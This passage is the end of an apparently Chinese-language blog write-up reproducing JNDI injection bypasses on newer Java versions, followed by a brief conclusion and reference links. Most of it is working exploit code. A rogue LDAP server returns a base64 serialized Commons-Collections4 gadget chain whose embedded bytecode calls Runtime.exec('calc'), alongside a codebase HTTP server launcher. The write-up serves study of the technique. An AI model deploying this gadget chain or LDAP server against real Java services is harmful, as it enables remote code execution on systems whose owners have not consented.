                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);

        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}
  • 发起ladp请求,结果如下

java高版本下各种JNDI Bypass方法复现

4 总结

第一时间看到浅蓝师傅的文章后,很想马上学习一下,无奈论文催得紧,过年前复现出了一部分。昨天终于写完了论文,继续来复现,所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法,但看起来不是特别实用,所以没有复现了。

经过对JNDI 高版本bypass方法的学习,真的佩服大师傅们对java研究的功力,另外复现过程中也明显感觉出来,jndi bypass的利用必须要依赖一些方便的工具,否则手工做起来真心麻烦,依赖都是一大堆。

参考

https://paper.seebug.org/942/

https://tttang.com/archive/1405/

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/

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